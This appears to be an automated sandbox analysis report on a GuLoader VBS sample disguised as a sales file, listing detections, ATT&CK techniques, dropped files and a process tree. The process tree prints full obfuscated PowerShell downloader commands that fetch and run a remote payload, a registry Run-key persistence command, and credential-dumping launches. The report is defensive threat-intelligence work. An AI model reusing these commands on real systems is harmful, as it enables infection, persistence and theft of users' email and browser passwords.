guloader | 7378bbf06b48c473e003cf48ee42e5fb72300d8d3bdbde9869ce9197e95a4837

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
01/06/2024, 19:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Product_Sample499495_Grade1_949586968595_2024SALES_9485958.vbs
Size 22KB
Sample240601-ykff2sdb8s
SHA256 e80021a00c8e201eb6a1784d1007111ac07536d7638e369886df2ea230316c04
MD5 f1234b305be3a841e819051eed7d5725
SHA1 fd6ae42086d8869011c2686fdec6b864a16c8783
SHA512 8f376e85721c71f9898f6a0f683770b38ff5bb89b122a58c7aad1645c1cfa0f467aea0bc0d6ed09eaa3f3a386ccc128f7229f1c3ec3f2a44a7ec4e0c2e4243cf
SSDEEP 384:rGEwECoeNA4dUTLdma4/wB2DnDJZJzFfziGref6AImIoe2ds3Z0n4833Y:rnkVHUHEz4ErpBmHf6odYBz
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4848-65-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/5056-67-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

resource	yara_rule
behavioral2/memory/2712-66-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/5056-67-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4848-65-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4880	WScript.exe
21	4140	Powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Nonblockaded = "%Lbesods% -w 1 $Thermopenetration=(Get-ItemProperty -Path 'HKCU:\\Frokostplatter\\').Frdselstavler;%Lbesods% ($Thermopenetration)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
3240	wab.exe
3240	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1588	powershell.exe
3240	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1588 set thread context of 3240	1588	powershell.exe	102
PID 3240 set thread context of 5056	3240	wab.exe	107
PID 3240 set thread context of 4848	3240	wab.exe	108
PID 3240 set thread context of 2712	3240	wab.exe	109

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3560	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4140	Powershell.exe
4140	Powershell.exe
1588	powershell.exe
1588	powershell.exe
1588	powershell.exe
5056	wab.exe
5056	wab.exe
2712	wab.exe
2712	wab.exe
5056	wab.exe
5056	wab.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
1588	powershell.exe
3240	wab.exe
3240	wab.exe
3240	wab.exe
3240	wab.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4140	Powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeDebugPrivilege	2712	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3240	wab.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 4880 wrote to memory of 4140	4880	WScript.exe	92
PID 4880 wrote to memory of 4140	4880	WScript.exe	92
PID 4880 wrote to memory of 4140	4880	WScript.exe	92
PID 4140 wrote to memory of 3280	4140	Powershell.exe	96
PID 4140 wrote to memory of 3280	4140	Powershell.exe	96
PID 4140 wrote to memory of 3280	4140	Powershell.exe	96
PID 4140 wrote to memory of 1588	4140	Powershell.exe	97
PID 4140 wrote to memory of 1588	4140	Powershell.exe	97
PID 4140 wrote to memory of 1588	4140	Powershell.exe	97
PID 1588 wrote to memory of 4920	1588	powershell.exe	98
PID 1588 wrote to memory of 4920	1588	powershell.exe	98
PID 1588 wrote to memory of 4920	1588	powershell.exe	98
PID 1588 wrote to memory of 3240	1588	powershell.exe	102
PID 1588 wrote to memory of 3240	1588	powershell.exe	102
PID 1588 wrote to memory of 3240	1588	powershell.exe	102
PID 1588 wrote to memory of 3240	1588	powershell.exe	102
PID 1588 wrote to memory of 3240	1588	powershell.exe	102
PID 3240 wrote to memory of 2112	3240	wab.exe	103
PID 3240 wrote to memory of 2112	3240	wab.exe	103
PID 3240 wrote to memory of 2112	3240	wab.exe	103
PID 2112 wrote to memory of 3560	2112	cmd.exe	105
PID 2112 wrote to memory of 3560	2112	cmd.exe	105
PID 2112 wrote to memory of 3560	2112	cmd.exe	105
PID 3240 wrote to memory of 1448	3240	wab.exe	106
PID 3240 wrote to memory of 1448	3240	wab.exe	106
PID 3240 wrote to memory of 1448	3240	wab.exe	106
PID 3240 wrote to memory of 5056	3240	wab.exe	107
PID 3240 wrote to memory of 5056	3240	wab.exe	107
PID 3240 wrote to memory of 5056	3240	wab.exe	107
PID 3240 wrote to memory of 5056	3240	wab.exe	107
PID 3240 wrote to memory of 4848	3240	wab.exe	108
PID 3240 wrote to memory of 4848	3240	wab.exe	108
PID 3240 wrote to memory of 4848	3240	wab.exe	108
PID 3240 wrote to memory of 4848	3240	wab.exe	108
PID 3240 wrote to memory of 2712	3240	wab.exe	109
PID 3240 wrote to memory of 2712	3240	wab.exe	109
PID 3240 wrote to memory of 2712	3240	wab.exe	109
PID 3240 wrote to memory of 2712	3240	wab.exe	109

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Product_Sample499495_Grade1_949586968595_2024SALES_9485958.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4880
- C:\Windows\syswow64\windowsPowershell\v1.0\Powershell.exe
  "C:\Windows\syswow64\windowsPowershell\v1.0\Powershell.exe" "$Ukrudtetsbekmpelser = 1;Function Slingret($Skdskind){$Lairds=$Skdskind.Length-$Ukrudtetsbekmpelser;$Gensynene='Substring';For( $Simoens=4;$Simoens -lt $Lairds;$Simoens+=5){$Ritzy+=$Skdskind.$Gensynene.Invoke( $Simoens, $Ukrudtetsbekmpelser);}$Ritzy;}function Brystnings($Talniveauer){ . ($sagskategoriers) ($Talniveauer);}$Tidspunkts=Slingret 'RelaMPer,oMontzBatfiA calKontlLokaaG,br/ Bel5Swou.Cont0gris Ei,e( DiaWUdliiI.penCongdMicto WitwAnt,sCatn pleN ulTaf,a Unpa1P on0Konf. Nar0,ans;Pa.r G.nW,tyriTryknComb6Pers4Sig.;Mist HaanxFo a6 Big4 Tod; Udv starKongvAlde:Fran1 .op2 S b1.onj.S.af0 gla) egn ServG SenePit,cOverk,ultoPeri/Tubo2 Lys0W ek1Cres0 un0Al,r1 Rea0 Bui1skje AktuFGunaiBsterAntieJo,ifScrioIngvxh ne/Bort1Flue2 ogm1Bida.Ultr0Sta, ';$Perspektivls=Slingret 'SautUCub,sEst eLignrUnhe-WallAStongFykeeSamonNonrtMah ';$Supracretaceous=Slingret ' weeh,igptQui,tU,stp ,bjsHa.p:Sa.e/ Adn/,espdOndeaSlavt Phre,esta,ilodpaliv M.riFor eProfss lv.SyvanMucolNoug/Juguc FejgS nciPeri-NonsbCucki ScunPlas/ R,tAU.sueindvr P po Shrb Nona pascFonit Pree Artr Ge,iAmploRefelPertoantig O eiOb ecast a Opbllit .Sj.fhCereh FilkPaak ';$Uneludable=Slingret 'Tic >S.nd ';$sagskategoriers=Slingret 'Ef.ri floenuclxSt l ';$patining='Uudryddeligt';$Rektificwhr = Slingret 'Scr,eDehucDi th.arko,tom Mark%Udhaaap.opHomep,itrd Dipa u atConta Sem% Na.\ olahDe,ty P.rpTvr.oBjrggch,eo Spnn BloaProgt OysiGeneoSn.gnGene.F,skB Se,eLegopBrmm Pres&Vagr&non Stube Dilc.utuhUranoPyro PadltStam ';Brystnings (Slingret 'Intr$LuchgAggrlBo ioAn.hbudrya Wool Ski:TurkHOssikBlaaeLiver Reuadivia ParnO,todd,tos Sy =Or o(DiescBeflmKobbdaffa I.ju/F,odcD si magn$ArkiR agpe O,ekBecotSkufiHaanfSupeiShawcDi.ewPlebh.ildrNoni)T,ta ');Brystnings (Slingret 'Gvdr$HjlpgBal l SuloS eebF rta realCobb:OmniRRotaiComin D,ogPishsEleciMechdIncoeG,lasm,yw=,hoo$Fr sS RaauRon.pElnyr SviaSporc,oorrSun.eVisotYdera kacQuanelit oDgnbuN.nrs Fad.ShagsvulcpAfsplEffoiChu tBaan( sto$PargUMinin NoneAstulAteiuKej.dAv,saDurebProplT nte.ani) Kep ');$Supracretaceous=$Ringsides[0];$Pseudoaristocratical= (Slingret 'No,u$SkungAntil ummoLokab proaW.lklRera: HjeSTunntB.uguDvrgdDyrtiMelleN,di=KartNPyroe BrnwMacr- MirO P kbUnrej UnaeAmerc OfftHvir M noS .royTomnsDangtKante Sgem Hom.ParaNAardeO ertUfor.,rudWNubueDabbbK.apCBa.tlB,baiDokteSkolnUhmmt');$Pseudoaristocratical+=$Hkeraands[1];Brystnings ($Pseudoaristocratical);Brystnings (Slingret 'Pamp$ beSind,tAssuu f,rdDat.i St,eS if.oc uHsmoteUfulaCh md HoweN mir Is.s Lml[Odon$HaulPr.coeStarrTi.rsNon.pGaupe Af kFrikt hotiFig,vSolalL.gesPin ]Subs=B.mb$TrykTdyreiLovsdStrgs.polp Pelu .ian S lkvogltSprisFrim ');$Diskvalificeres=Slingret 'Leza$PizeSgrantTe tuKolldLauri SpreTre.. TheDVantogravwAndrnBl.klBuffoBa.daBiomdOmp FBerniindil G,ueKa.i(K.as$OpspSPneuuTeknp.bonrSma aSmykcM.chrCi ee Sk,tF,mia StycNo,se,lago .niuSaddsBent,Svig$Tyl.SMel m Agga,enaaBensfDiuriSclil LogoFlinss rdoHeadfConti Cars.ubqkFlueeMeri)Anti ';$Smaafilosofiske=$Hkeraands[0];Brystnings (Slingret 'Anky$Kic gGaralguldoCe.lbung.a DaplJ.lt:BladU attnDecrlStara ,aicF amiOdrsn.uppgVael=Rela(UnshTMrt ePhonsSpart Sto-ClaiP KlbaI vitBur h.vil Rste$EnsrS Di,mMostaImpra Nonf SheiChe lnetvoNedss cero GrafVe.eiForesOrdokCafeeMerc) Pit ');while (!$Unlacing) {Brystnings (Slingret 'Skri$Lactgs.mmlPr,po .nkbAntiaAffolH.rr:DecaSpampcLentaAf erFra aBovbb Frus.ikk= ire$SugatGrnlrStemuProfeB de ') ;Brystnings $Diskvalificeres;Brystnings (Slingret ' OntSOvist Ph,aUn.rrOlivtSupe-VideSTopmlvagte LyseSeisp .nl A v4Tele ');Brystnings (Slingret ',old$Di fgCom,lHelioFlambLiniaThorlPol.: DugUZantnTaphlDorkaEvercP aliVaranPentgB gs=Dokn( Vs.T Va,ereimsOvert br.-HeidP Fala L,wtTilshWayw Misa$spekSS.irm Ho,aNatua SamfNe,ri Jrgljudaoule.sTitao,nstfMonii.icksExsekSeroe ni)Uege ') ;Brystnings (Slingret 'gend$OrgagBilal milo Ubnb Re.askinlBdes:DuecADisidseksaDilepPutrtSesqaLingt reviGantoBuf nG ngeFl.grSeninMccoeGtem= ill$RepagSi,alAph.oSvigb erga Ud,l Tos:I fiSSc.eaBa dvMotov dmySndei.ncinOrdegSand+Gimc+Udsp%Iddi$LingR rai Pi,n,allg PhosF,ngi ekodBipoeAltes Vil.InelcGardoTeg uDendnM tatAnke ') ;$Supracretaceous=$Ringsides[$Adaptationerne];}$nonages=305495;$Stipulable=28147;Brystnings (Slingret 'Fo,t$PhilgFinalCoa.o ReabNo.da efllKlum:ArroQLegiu FemaInfadDrifr.nlia.hottCoptuAmorr dreCono Trun=stro PeasGU,stehovetFell-,lumC oaqo Mi n de,tSgereUsolnHalvtAust aha$saftShabem oppa SkraRugefHel,iMelolR,floN.nasPrpao opfW,gniOversJoggkVej.e Hui ');Brystnings (Slingret 'Vand$ AfdgIndelSwahoN scbfruiaM.solScap: Di,Awestn UrpfKo.dlVir.y ,orvCoxoe Plan SludflleeArbe afsy= Emp Syna[ C,lSB hbyStersNe.dtRingeElatmSupe.ProlCPrejoHydrnBnliv,utheLaborTilft sso]Devi:F dt: .ntF GrirR upoLuftm,karB otha ExtsAboneForm6W,ar4S.amSKorstDitirGabai nsn.risgBlow(ddel$P,thQUnatu UniaAccedEgoirVaabaSheat To uSpadrbas ebage)B,ta ');Brystnings (Slingret ' Mis$Sub.gFo,el Chao,eaabTlinaFre,lStif: Ur,MGr woGe,ntS nioSlutrSusuaUninbtrrel AmpeAl,e Clan=No,a Nomb[ BlnSHypeytritsmifftTredeAspim var. adiTSkume S lxArtetAps .Med.EUudhn,tricBabboCha.d EnfiScapnNewsgrece] un :Wabb:Pr cAUndeSMolsCGru,ISub,IAlva.SwayGHe,ee De,tSno.SRevat DelrP,eli.onkn .xegFeti(Calc$Z.rdAnonfnSup.f ManlIndry angvOve.e,yann,humdSk neHich)Genn ');Brystnings (Slingret 'Val.$BismgSco,lSl.co MetbUgesa Tael,lix:ForhU PlanValed Ompe EchrG unsGs,eg DigeOpdylPlats,lske flisFangk NoraBorgmStram epleIn,erEleu=Undv$BromM pecoTr,ptDireoHu,irPro aCha bCatal Octe.iab.Appos KanuOverbAca sfre,tPhilrCh,oiE,ernNoeggGaze(B ai$Pre,nQai oHononCerbaMotigEn,ae FolsRace,B,dd$ zonSK.totGryniar.cpRefuuOutpl SpiaSemibSnapl CereTran)Plou ');Brystnings $Undersgelseskammer;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4140
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\hypogonation.Bep && echo t"
    3⤵
    PID:3280
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Ukrudtetsbekmpelser = 1;Function Slingret($Skdskind){$Lairds=$Skdskind.Length-$Ukrudtetsbekmpelser;$Gensynene='Substring';For( $Simoens=4;$Simoens -lt $Lairds;$Simoens+=5){$Ritzy+=$Skdskind.$Gensynene.Invoke( $Simoens, $Ukrudtetsbekmpelser);}$Ritzy;}function Brystnings($Talniveauer){ . ($sagskategoriers) ($Talniveauer);}$Tidspunkts=Slingret 'RelaMPer,oMontzBatfiA calKontlLokaaG,br/ Bel5Swou.Cont0gris Ei,e( DiaWUdliiI.penCongdMicto WitwAnt,sCatn pleN ulTaf,a Unpa1P on0Konf. Nar0,ans;Pa.r G.nW,tyriTryknComb6Pers4Sig.;Mist HaanxFo a6 Big4 Tod; Udv starKongvAlde:Fran1 .op2 S b1.onj.S.af0 gla) egn ServG SenePit,cOverk,ultoPeri/Tubo2 Lys0W ek1Cres0 un0Al,r1 Rea0 Bui1skje AktuFGunaiBsterAntieJo,ifScrioIngvxh ne/Bort1Flue2 ogm1Bida.Ultr0Sta, ';$Perspektivls=Slingret 'SautUCub,sEst eLignrUnhe-WallAStongFykeeSamonNonrtMah ';$Supracretaceous=Slingret ' weeh,igptQui,tU,stp ,bjsHa.p:Sa.e/ Adn/,espdOndeaSlavt Phre,esta,ilodpaliv M.riFor eProfss lv.SyvanMucolNoug/Juguc FejgS nciPeri-NonsbCucki ScunPlas/ R,tAU.sueindvr P po Shrb Nona pascFonit Pree Artr Ge,iAmploRefelPertoantig O eiOb ecast a Opbllit .Sj.fhCereh FilkPaak ';$Uneludable=Slingret 'Tic >S.nd ';$sagskategoriers=Slingret 'Ef.ri floenuclxSt l ';$patining='Uudryddeligt';$Rektificwhr = Slingret 'Scr,eDehucDi th.arko,tom Mark%Udhaaap.opHomep,itrd Dipa u atConta Sem% Na.\ olahDe,ty P.rpTvr.oBjrggch,eo Spnn BloaProgt OysiGeneoSn.gnGene.F,skB Se,eLegopBrmm Pres&Vagr&non Stube Dilc.utuhUranoPyro PadltStam ';Brystnings (Slingret 'Intr$LuchgAggrlBo ioAn.hbudrya Wool Ski:TurkHOssikBlaaeLiver Reuadivia ParnO,todd,tos Sy =Or o(DiescBeflmKobbdaffa I.ju/F,odcD si magn$ArkiR agpe O,ekBecotSkufiHaanfSupeiShawcDi.ewPlebh.ildrNoni)T,ta ');Brystnings (Slingret 'Gvdr$HjlpgBal l SuloS eebF rta realCobb:OmniRRotaiComin D,ogPishsEleciMechdIncoeG,lasm,yw=,hoo$Fr sS RaauRon.pElnyr SviaSporc,oorrSun.eVisotYdera kacQuanelit oDgnbuN.nrs Fad.ShagsvulcpAfsplEffoiChu tBaan( sto$PargUMinin NoneAstulAteiuKej.dAv,saDurebProplT nte.ani) Kep ');$Supracretaceous=$Ringsides[0];$Pseudoaristocratical= (Slingret 'No,u$SkungAntil ummoLokab proaW.lklRera: HjeSTunntB.uguDvrgdDyrtiMelleN,di=KartNPyroe BrnwMacr- MirO P kbUnrej UnaeAmerc OfftHvir M noS .royTomnsDangtKante Sgem Hom.ParaNAardeO ertUfor.,rudWNubueDabbbK.apCBa.tlB,baiDokteSkolnUhmmt');$Pseudoaristocratical+=$Hkeraands[1];Brystnings ($Pseudoaristocratical);Brystnings (Slingret 'Pamp$ beSind,tAssuu f,rdDat.i St,eS if.oc uHsmoteUfulaCh md HoweN mir Is.s Lml[Odon$HaulPr.coeStarrTi.rsNon.pGaupe Af kFrikt hotiFig,vSolalL.gesPin ]Subs=B.mb$TrykTdyreiLovsdStrgs.polp Pelu .ian S lkvogltSprisFrim ');$Diskvalificeres=Slingret 'Leza$PizeSgrantTe tuKolldLauri SpreTre.. TheDVantogravwAndrnBl.klBuffoBa.daBiomdOmp FBerniindil G,ueKa.i(K.as$OpspSPneuuTeknp.bonrSma aSmykcM.chrCi ee Sk,tF,mia StycNo,se,lago .niuSaddsBent,Svig$Tyl.SMel m Agga,enaaBensfDiuriSclil LogoFlinss rdoHeadfConti Cars.ubqkFlueeMeri)Anti ';$Smaafilosofiske=$Hkeraands[0];Brystnings (Slingret 'Anky$Kic gGaralguldoCe.lbung.a DaplJ.lt:BladU attnDecrlStara ,aicF amiOdrsn.uppgVael=Rela(UnshTMrt ePhonsSpart Sto-ClaiP KlbaI vitBur h.vil Rste$EnsrS Di,mMostaImpra Nonf SheiChe lnetvoNedss cero GrafVe.eiForesOrdokCafeeMerc) Pit ');while (!$Unlacing) {Brystnings (Slingret 'Skri$Lactgs.mmlPr,po .nkbAntiaAffolH.rr:DecaSpampcLentaAf erFra aBovbb Frus.ikk= ire$SugatGrnlrStemuProfeB de ') ;Brystnings $Diskvalificeres;Brystnings (Slingret ' OntSOvist Ph,aUn.rrOlivtSupe-VideSTopmlvagte LyseSeisp .nl A v4Tele ');Brystnings (Slingret ',old$Di fgCom,lHelioFlambLiniaThorlPol.: DugUZantnTaphlDorkaEvercP aliVaranPentgB gs=Dokn( Vs.T Va,ereimsOvert br.-HeidP Fala L,wtTilshWayw Misa$spekSS.irm Ho,aNatua SamfNe,ri Jrgljudaoule.sTitao,nstfMonii.icksExsekSeroe ni)Uege ') ;Brystnings (Slingret 'gend$OrgagBilal milo Ubnb Re.askinlBdes:DuecADisidseksaDilepPutrtSesqaLingt reviGantoBuf nG ngeFl.grSeninMccoeGtem= ill$RepagSi,alAph.oSvigb erga Ud,l Tos:I fiSSc.eaBa dvMotov dmySndei.ncinOrdegSand+Gimc+Udsp%Iddi$LingR rai Pi,n,allg PhosF,ngi ekodBipoeAltes Vil.InelcGardoTeg uDendnM tatAnke ') ;$Supracretaceous=$Ringsides[$Adaptationerne];}$nonages=305495;$Stipulable=28147;Brystnings (Slingret 'Fo,t$PhilgFinalCoa.o ReabNo.da efllKlum:ArroQLegiu FemaInfadDrifr.nlia.hottCoptuAmorr dreCono Trun=stro PeasGU,stehovetFell-,lumC oaqo Mi n de,tSgereUsolnHalvtAust aha$saftShabem oppa SkraRugefHel,iMelolR,floN.nasPrpao opfW,gniOversJoggkVej.e Hui ');Brystnings (Slingret 'Vand$ AfdgIndelSwahoN scbfruiaM.solScap: Di,Awestn UrpfKo.dlVir.y ,orvCoxoe Plan SludflleeArbe afsy= Emp Syna[ C,lSB hbyStersNe.dtRingeElatmSupe.ProlCPrejoHydrnBnliv,utheLaborTilft sso]Devi:F dt: .ntF GrirR upoLuftm,karB otha ExtsAboneForm6W,ar4S.amSKorstDitirGabai nsn.risgBlow(ddel$P,thQUnatu UniaAccedEgoirVaabaSheat To uSpadrbas ebage)B,ta ');Brystnings (Slingret ' Mis$Sub.gFo,el Chao,eaabTlinaFre,lStif: Ur,MGr woGe,ntS nioSlutrSusuaUninbtrrel AmpeAl,e Clan=No,a Nomb[ BlnSHypeytritsmifftTredeAspim var. adiTSkume S lxArtetAps .Med.EUudhn,tricBabboCha.d EnfiScapnNewsgrece] un :Wabb:Pr cAUndeSMolsCGru,ISub,IAlva.SwayGHe,ee De,tSno.SRevat DelrP,eli.onkn .xegFeti(Calc$Z.rdAnonfnSup.f ManlIndry angvOve.e,yann,humdSk neHich)Genn ');Brystnings (Slingret 'Val.$BismgSco,lSl.co MetbUgesa Tael,lix:ForhU PlanValed Ompe EchrG unsGs,eg DigeOpdylPlats,lske flisFangk NoraBorgmStram epleIn,erEleu=Undv$BromM pecoTr,ptDireoHu,irPro aCha bCatal Octe.iab.Appos KanuOverbAca sfre,tPhilrCh,oiE,ernNoeggGaze(B ai$Pre,nQai oHononCerbaMotigEn,ae FolsRace,B,dd$ zonSK.totGryniar.cpRefuuOutpl SpiaSemibSnapl CereTran)Plou ');Brystnings $Undersgelseskammer;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1588
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\hypogonation.Bep && echo t"
      4⤵
      PID:4920
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3240
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Nonblockaded" /t REG_EXPAND_SZ /d "%Lbesods% -w 1 $Thermopenetration=(Get-ItemProperty -Path 'HKCU:\Frokostplatter\').Frdselstavler;%Lbesods% ($Thermopenetration)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2112
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Nonblockaded" /t REG_EXPAND_SZ /d "%Lbesods% -w 1 $Thermopenetration=(Get-ItemProperty -Path 'HKCU:\Frokostplatter\').Frdselstavler;%Lbesods% ($Thermopenetration)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3560
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\gfddxlnndrkftdslhuuv"
        5⤵
        
        PID:1448
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\gfddxlnndrkftdslhuuv"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5056
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\riinxeyorzckdsgpyfhwwdj"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:4848
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\bcogyoiifhuxfyctipbyziebfl"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 01ab7c0c90691234f1c2d1d55da9782993c3ae6e8d9ed22d8e652f909188c8b0
MD5 12997ffc63b01e917dfa2eb96b00091b
SHA1 85de13ea0f07609065ae2b5396fba6c1390b18c4
SHA512 9c57c166093bd67589ac28551ade667dc8da8844c5350e8afb1f3c284c8132de88afff890bdfa6af56f7cef33e4aaa662195e108dac982b80746f08bd4ecfdf8
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0
MD5 d4d8cef58818612769a698c291ca3b37
SHA1 54e0a6e0c08723157829cea009ec4fe30bea5c50
SHA512 f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6
SSDEEP 1536:q5C+jH04tAHkCSMrxyNhftflJdPYodV3CNBQkj20LUsszyhMUp7Fv+Eca5b/h4ie:KC+jH04tAHk5MrxyNhftflJdPYodV3CQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_pe3lvnn0.xsv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pe3lvnn0.xsv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

gfddxlnndrkftdslhuuv

Path C:\Users\Admin\AppData\Local\Temp\gfddxlnndrkftdslhuuv
Size 4KB
SHA256 0ef9194c6e90b23c416316fc5a15f549ee5b2472014fcd7648d72ca9a865b409
MD5 73ddf6cd83c2ad8a2fbb2383e322ffbc
SHA1 05270f8bb7b5cc6ab9a61ae7453d047379089147
SHA512 714db1956faa795005b15324b9604105881d6b484fe899876fe0df85783c61a72f556a875833af8625625212503b95eea2eb353a1d98f6a7af47a3658ea5262d
SSDEEP 48:wvvv0PxfvvcPxfdvv0PxBvv0Pxakvv0P7:mvCxvqp1vCPvCbvC7
MD5 SHA1 SHA512 SSDEEP

Submit Download

hypogonation.Bep

Path C:\Users\Admin\AppData\Roaming\hypogonation.Bep
Size 434KB
SHA256 adc521b2e0d738760b3e07061abdc61c5a1fa9ebddccab8adfd299bcae2ab3ce
MD5 ad3d1546ab4808c050cfe64c5a58e5d5
SHA1 d7bc33cf0a6628db016a6af31c821f17c9963226
SHA512 29ac4c992450c0f7da929fca6ea1322abeed2fa35524c5be6fe8d9e47b953265c3fdaf7eadea91a893a3738caa958fbb9c8e190365dec546aaad3d17e7bea9bc
SSDEEP 12288:pL8l0wMQ2ZamvAC08u4YGvoj0XgCpyPWP:9m5DX8SYofCpzP
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1588-41-0x0000000008520000-0x000000000AE5B000-memory.dmp

Download

memory/2712-66-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2712-61-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2712-64-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/3240-73-0x000000001F880000-0x000000001F899000-memory.dmp

Download

memory/3240-54-0x0000000000E00000-0x000000000373B000-memory.dmp

Download

